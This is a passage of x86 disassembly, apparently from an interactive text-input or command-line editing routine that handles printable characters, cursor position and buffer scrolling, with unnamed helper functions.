sub ecx, eax
add ecx, 1
mov dword [ebp - 0x350], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x368], eax
jg 0x56b587
cmp dword [ebp - 0x350], 0
jg 0x56b598
mov eax, dword [ebp - 0x368]
sub eax, 1
mov dword [ebp - 0x368], eax
jmp 0x56b5af
mov eax, dword [ebp - 0x368]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x350], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x368], eax
jne 0x56b5cd
mov dword [ebp - 0x368], 0xffffff22
jmp 0x56b627
cmp dword [ebp - 0x374], 3
jne 0x56b618
push 0
lea eax, [ebp - 0x368]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x368], eax
jne 0x56b616
mov dword [ebp - 0x368], 0xffffff22
jmp 0x56b627
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0
jge 0x56b63a
mov dword [ebp - 0x350], 0
mov eax, dword [ebp - 0x350]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x35c], eax
mov eax, dword [ebp - 0x35c]
cmp eax, dword [ebp - 0x14]
jle 0x56b660
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x35c], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x374], 4
jne 0x56b6a0
mov eax, dword [ebp - 0x35c]
sub eax, dword [ebp - 0x350]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x350]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56b6e9
cmp dword [ebp - 0x374], 2
jne 0x56b6b8
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56b6c2
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x35c]
sub edx, dword [ebp - 0x350]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x350]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x368], 0xffffff22
je 0x56b70b
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x368]
push ecx
call fcn.00532078
add esp, 8
jmp 0x56ba08
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x38c], 0
mov dword [ebp - 0x398], 0xffffff22
mov dword [ebp - 0x3a4], 1
cmp dword [ebp - 0x3a4], 0xffffffff
je 0x56b750
cmp dword [ebp - 0x3a4], 4
jne 0x56b76a
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x398], eax
jmp 0x56b924
cmp dword [ebp - 0x3a4], 0
jne 0x56b82a
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56b793
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x380], eax
jmp 0x56b825
push 0
lea eax, [ebp - 0x398]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x398]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56b7f0
mov eax, dword [ebp - 0x398]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x380], ecx
mov eax, dword [ebp - 0x398]
add eax, 1
mov dword [ebp - 0x398], eax
jmp 0x56b825
mov eax, dword [ebp - 0x398]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x380], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x398], eax
jne 0x56b825
mov dword [ebp - 0x398], 0xffffff22
jmp 0x56b924
cmp dword [ebp - 0x3a4], 2
jne 0x56b8cc
push 0
lea eax, [ebp - 0x398]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x398]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x380], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x398], eax
jg 0x56b884
cmp dword [ebp - 0x380], 0
jg 0x56b895
mov eax, dword [ebp - 0x398]
sub eax, 1
mov dword [ebp - 0x398], eax
jmp 0x56b8ac
mov eax, dword [ebp - 0x398]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x380], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x398], eax
jne 0x56b8ca
mov dword [ebp - 0x398], 0xffffff22
jmp 0x56b924
cmp dword [ebp - 0x3a4], 3
jne 0x56b915
push 0
lea eax, [ebp - 0x398]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x398], eax
jne 0x56b913
mov dword [ebp - 0x398], 0xffffff22
jmp 0x56b924
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0
jge 0x56b937
mov dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x380]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x38c]
cmp eax, dword [ebp - 0x14]
jle 0x56b95d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x3a4], 4
jne 0x56b99d
mov eax, dword [ebp - 0x38c]
sub eax, dword [ebp - 0x380]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x380]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56b9e6
cmp dword [ebp - 0x3a4], 2
jne 0x56b9b5
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56b9bf
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x38c]
sub edx, dword [ebp - 0x380]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x380]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x398], 0xffffff22
je 0x56ba08
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x398]
push ecx
call fcn.00532078
add esp, 8
jmp 0x56bac3
mov eax, dword [ebp - 0x2c]
sub eax, 0x7a
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00535aa2
add esp, 8
test eax, eax
je 0x56bab3
push 0
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
push 1
call fcn.0056e990
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov byte [eax], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00532325
add esp, 4
test eax, eax
jne 0x56ba9a
cmp dword [ebp + 0xc], 0
je 0x56ba9a
mov dword [0x823018], 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.005347dd
add esp, 4
mov dword [0x808600], eax
mov eax, dword [ebp - 0x188]
mov dword [0x808604], eax
push 0x50
mov eax, dword [ebp + 8]
push eax
push 0x822f68
call fcn.00535647
add esp, 0xc
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00535a34
add esp, 8
mov eax, dword [ebp - 0x2c]
sub eax, 0xb
jmp 0x56d2b5
mov dword [ebp - 0x2c], 0
jmp 0x56bac3
mov dword [ebp - 0x2c], 0
cmp dword [ebp - 0x2c], 0
je 0x56bae3
push 0
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
push 1
call fcn.0056e990
add esp, 0x10
jmp 0x56c785
cmp dword [ebp - 0x2c], 0
jne 0x56c1b0
call fcn.00532a2d
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x574], eax
mov ecx, dword [ebp - 0x574]
sub ecx, 0x3b
mov dword [ebp - 0x574], ecx
cmp dword [ebp - 0x574], 0x18
ja case.0x56bb2c.10
mov edx, dword [ebp - 0x574]
movzx eax, byte [edx + 0x56d6d0]
jmp dword [eax*4 + 0x56d694]
mov eax, dword [ebp + 0xc]
push eax
call fcn.00535610
add esp, 4
cmp eax, 1
jne case.0x56bb2c.8
mov dword [ebp - 0x2c], 0xa
jmp 0x56c78c
mov eax, dword [ebp - 0x2c]
sub eax, 0x3a
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00535aa2
add esp, 8
test eax, eax
je 0x56bc21
push 0
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
push 1
call fcn.0056e990
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov byte [eax], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00532325
add esp, 4
test eax, eax
jne 0x56bc08
cmp dword [ebp + 0xc], 0
je 0x56bc08
cmp dword [ebp - 0x2c], 0x42
jne 0x56bbcf
mov eax, dword [ebp + 0xc]
push eax
call fcn.00535610
add esp, 4
cmp eax, 2
jne 0x56bbcf
mov dword [0x82301c], 1
mov eax, 0xd
jmp 0x56d2b5
mov dword [0x823018], 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.005347dd
add esp, 4
mov dword [0x808600], eax
mov eax, dword [ebp - 0x188]
mov dword [0x808604], eax
push 0x50
mov eax, dword [ebp + 8]
push eax
push 0x822f68
call fcn.00535647
add esp, 0xc
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00535a34
add esp, 8
mov eax, dword [ebp - 0x2c]
add eax, 0x35
jmp 0x56d2b5
mov dword [ebp - 0x2c], 0
jmp 0x56c18b
cmp dword [ebp - 0x14], 0
jle 0x56bfaf
mov eax, dword [ebp + 8]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0053309f
add esp, 0xc
mov dword [ebp - 0x3b0], 0
push 0
lea eax, [ebp - 0x3b0]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x3b0]
cmp eax, dword [ebp - 0x8c]
jg 0x56bc74
jmp 0x56bc8f
push 1
movzx eax, byte [ebp - 0x155]
push eax
call fcn.00535287
add esp, 8
cmp dword [0x7e62e0], 0
jne 0x56bc49
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00533603
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3bc], 0
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x3d4], 0xffffff22
mov dword [ebp - 0x3e0], 4
cmp dword [ebp - 0x3e0], 0xffffffff
je 0x56bcdf
cmp dword [ebp - 0x3e0], 4
jne 0x56bcf9
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3bc], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x3d4], eax
jmp 0x56beb3
cmp dword [ebp - 0x3e0], 0
jne 0x56bdb9
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56bd22
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x3bc], eax
jmp 0x56bdb4
push 0
lea eax, [ebp - 0x3d4]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x3d4]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56bd7f
mov eax, dword [ebp - 0x3d4]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x3bc], ecx
mov eax, dword [ebp - 0x3d4]
add eax, 1
mov dword [ebp - 0x3d4], eax
jmp 0x56bdb4
mov eax, dword [ebp - 0x3d4]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x3bc], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x3d4], eax
jne 0x56bdb4
mov dword [ebp - 0x3d4], 0xffffff22
jmp 0x56beb3
cmp dword [ebp - 0x3e0], 2
jne 0x56be5b
push 0
lea eax, [ebp - 0x3d4]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x3d4]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x3bc], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x3d4], eax
jg 0x56be13
cmp dword [ebp - 0x3bc], 0
jg 0x56be24
mov eax, dword [ebp - 0x3d4]
sub eax, 1
mov dword [ebp - 0x3d4], eax
jmp 0x56be3b
mov eax, dword [ebp - 0x3d4]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x3bc], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x3d4], eax
jne 0x56be59
mov dword [ebp - 0x3d4], 0xffffff22
jmp 0x56beb3
cmp dword [ebp - 0x3e0], 3
jne 0x56bea4
push 0
lea eax, [ebp - 0x3d4]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x3bc], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x3d4], eax
jne 0x56bea2
mov dword [ebp - 0x3d4], 0xffffff22
jmp 0x56beb3
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0
jge 0x56bec6
mov dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x3bc]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x3c8], eax
mov eax, dword [ebp - 0x3c8]
cmp eax, dword [ebp - 0x14]
jle 0x56beec
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c8], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x3e0], 4
jne 0x56bf2c
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x3bc]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x3bc]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56bf75
cmp dword [ebp - 0x3e0], 2
jne 0x56bf44
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56bf4e
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x3c8]
sub edx, dword [ebp - 0x3bc]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x3bc]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x3d4], 0xffffff22
je 0x56bf97
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x3d4]
push ecx
call fcn.00532078
add esp, 8
mov eax, dword [ebp + 8]
push eax
call fcn.005340b7
add esp, 4
mov dword [ebp - 0x14], 0
jmp 0x56c0c4
call fcn.00533cd9
sub eax, dword [0x82300c]
cmp eax, 0x3e8
jb 0x56bfce
cmp dword [0x82300c], 0
jne 0x56c059
call fcn.00533cd9
mov dword [0x82300c], eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.005347dd
add esp, 4
test eax, eax
jne 0x56c025
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532947
add esp, 4
cmp eax, 3
jl 0x56c025
cmp dword [0x823010], 1
jl 0x56c023
mov dword [ebp - 0x2c], 0
push 0
push 0
mov eax, dword [ebp - 0xb0]
push eax
push 1
call fcn.0056e990
add esp, 0x10
jmp 0x56c78c
jmp 0x56c057
mov eax, dword [0x823010]
add eax, 1
mov dword [0x823010], eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.005347dd
add esp, 4
test eax, eax
jle 0x56c057
push 0
push 0
mov eax, dword [ebp - 0xec]
push eax
push 1
call fcn.0056e990
add esp, 0x10
jmp 0x56c092
call fcn.00533cd9
mov dword [0x82300c], eax
mov dword [0x823010], 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.005347dd
add esp, 4
test eax, eax
jle 0x56c092
push 0
push 0
mov eax, dword [ebp - 0xec]
push eax
push 1
call fcn.0056e990
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
call fcn.005340b7
add esp, 4
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00535a34
add esp, 8
mov eax, 0x76
jmp 0x56d2b5
jmp 0x56c18b
mov dword [ebp - 0x2c], 0x2e
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0x30
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0x31
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0x32
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0x33
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0x34
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0x35
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0x36
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0x37
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0x38
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0x39
call fcn.005320aa
jmp 0x56c78c
mov dword [ebp - 0x2c], 0
cmp dword [ebp - 0x2c], 0
je 0x56c1ab
push 0
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
push 1
call fcn.0056e990
add esp, 0x10
jmp 0x56c785
cmp dword [ebp - 0x2c], 0x20
jl 0x56c761
cmp dword [ebp - 0x2c], 0x7e
jg 0x56c761
mov dword [ebp - 0x134], 1
cmp dword [ebp - 0x2c], 0x3d
jne 0x56c1e4
cmp dword [ebp - 0x128], 0
je 0x56c1e4
mov dword [ebp - 0x2c], 0x2b
cmp dword [ebp - 0x170], 0
je 0x56c1f3
cmp dword [ebp - 0x14], 0
jne 0x56c1ff
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x164], 0
je 0x56c2f8
movzx eax, byte [ebp - 0x2c]
push eax
call fcn.0053482d
add esp, 4
test eax, eax
jne 0x56c265
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00532f5f
add esp, 4
test eax, eax
je 0x56c254
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov byte [eax], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00532325
add esp, 4
test eax, eax
jne 0x56c252
mov dword [ebp - 0x2c], 0
jmp 0x56c796
jmp 0x56c260
mov dword [ebp - 0x2c], 0
jmp 0x56c796
jmp 0x56c2f8
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 0x3ec], 0
jmp 0x56c28a
mov eax, dword [ebp - 0x3ec]
add eax, 1
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x3ec]
cmp eax, dword [ebp - 0x14]
jge 0x56c2f8
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x3ec]
movsx ecx, byte [eax]
push ecx
call fcn.00532f5f
add esp, 4
test eax, eax
je 0x56c2f6
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov byte [eax], 0
mov eax, dword [ebp - 0x3ec]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.005343d7
add esp, 8
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x3ec]
jle 0x56c2de
mov eax, dword [ebp - 0x20]
sub eax, 1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x3ec]
sub eax, 1
mov dword [ebp - 0x3ec], eax
jmp 0x56c27b
cmp dword [ebp - 0x164], 0
je 0x56c34b
cmp dword [ebp - 0x20], 0
jle 0x56c34b
mov eax, dword [ebp - 0x188]
sub eax, 1
cmp dword [ebp - 0x20], eax
jl 0x56c34b
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x20]
jl 0x56c34b
mov eax, dword [ebp - 0x17c]
sub eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x14]
imul ecx, ecx, 0x25
cmp eax, ecx
jae 0x56c34b
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.0056e8e0
add esp, 8
push 0xd
call fcn.0053577d
add esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x140]
jge 0x56c3b2
call fcn.005327cb
test eax, eax
jne 0x56c3b2
cmp dword [ebp - 0x194], 0
je 0x56c370
cmp dword [ebp - 0x14], 0
jne 0x56c370
jmp 0x56c3b2
movzx eax, byte [ebp - 0x2c]
push eax
call fcn.00532a64
add esp, 4
test eax, eax
je 0x56c398
push 0
push 0
mov eax, dword [ebp - 0xd4]
push eax
push 5
call fcn.0056e990
add esp, 0x10
jmp 0x56c3b2
push 0
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xe0]
push ecx
push 5
call fcn.0056e990
add esp, 0x10
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
je 0x56c3fe
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00533171
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.005355f2
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
jne 0x56c75f
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x140]
jge 0x56c75f
mov eax, dword [ebp - 0x20]
push eax
movzx ecx, byte [ebp - 0x2c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00534d4b
add esp, 0xc
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x140]
jl 0x56c46d
mov eax, dword [ebp + 0xc]
push eax
call fcn.00536169
add esp, 4
test eax, eax
je 0x56c46d
push 0xd
call fcn.0053577d
add esp, 4
mov dword [ebp - 0x3f8], 0
mov dword [ebp - 0x404], 0
mov dword [ebp - 0x410], 0xffffff22
mov dword [ebp - 0x41c], 0
cmp dword [ebp - 0x41c], 0xffffffff
je 0x56c4a7
cmp dword [ebp - 0x41c], 4
jne 0x56c4c1
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x410], eax
jmp 0x56c67b
cmp dword [ebp - 0x41c], 0
jne 0x56c581
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56c4ea
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x3f8], eax
jmp 0x56c57c
push 0
lea eax, [ebp - 0x410]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x410]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56c547
mov eax, dword [ebp - 0x410]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x3f8], ecx
mov eax, dword [ebp - 0x410]
add eax, 1
mov dword [ebp - 0x410], eax
jmp 0x56c57c
mov eax, dword [ebp - 0x410]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x3f8], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x410], eax
jne 0x56c57c
mov dword [ebp - 0x410], 0xffffff22
jmp 0x56c67b
cmp dword [ebp - 0x41c], 2
jne 0x56c623
push 0
lea eax, [ebp - 0x410]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x410]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x3f8], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x410], eax
jg 0x56c5db
cmp dword [ebp - 0x3f8], 0
jg 0x56c5ec
mov eax, dword [ebp - 0x410]
sub eax, 1
mov dword [ebp - 0x410], eax
jmp 0x56c603
mov eax, dword [ebp - 0x410]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x3f8], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x410], eax
jne 0x56c621
mov dword [ebp - 0x410], 0xffffff22
jmp 0x56c67b
cmp dword [ebp - 0x41c], 3
jne 0x56c66c
push 0
lea eax, [ebp - 0x410]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x410], eax
jne 0x56c66a
mov dword [ebp - 0x410], 0xffffff22
jmp 0x56c67b
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
jge 0x56c68e
mov dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3f8]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x404]
cmp eax, dword [ebp - 0x14]
jle 0x56c6b4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x41c], 4
jne 0x56c6f4
mov eax, dword [ebp - 0x404]
sub eax, dword [ebp - 0x3f8]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x3f8]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56c73d
cmp dword [ebp - 0x41c], 2
jne 0x56c70c
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56c716
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x404]
sub edx, dword [ebp - 0x3f8]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x3f8]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x410], 0xffffff22
je 0x56c75f
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x410]
push ecx
call fcn.00532078
add esp, 8
jmp 0x56c785
cmp dword [ebp - 0x2c], 0x20
jge 0x56c785
cmp dword [ebp - 0x2c], 0
jle 0x56c785
mov eax, dword [ebp + 0xc]
push eax
call fcn.00533810
add esp, 4
test eax, eax
je 0x56c785
mov eax, dword [ebp - 0x2c]
jmp 0x56d2b5
mov dword [ebp - 0x2c], 0
cmp dword [ebp - 0x2c], 0
jne 0x5696e4
cmp dword [ebp + 0xc], 0
je 0x56d1a7
cmp dword [ebp - 0x44], 0
je 0x56caf6
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00533171
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.005355f2
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
jne 0x56caef
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x8c]
push ecx
call fcn.005342b5
add esp, 8
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x440], 0xffffff22
mov dword [ebp - 0x44c], 3
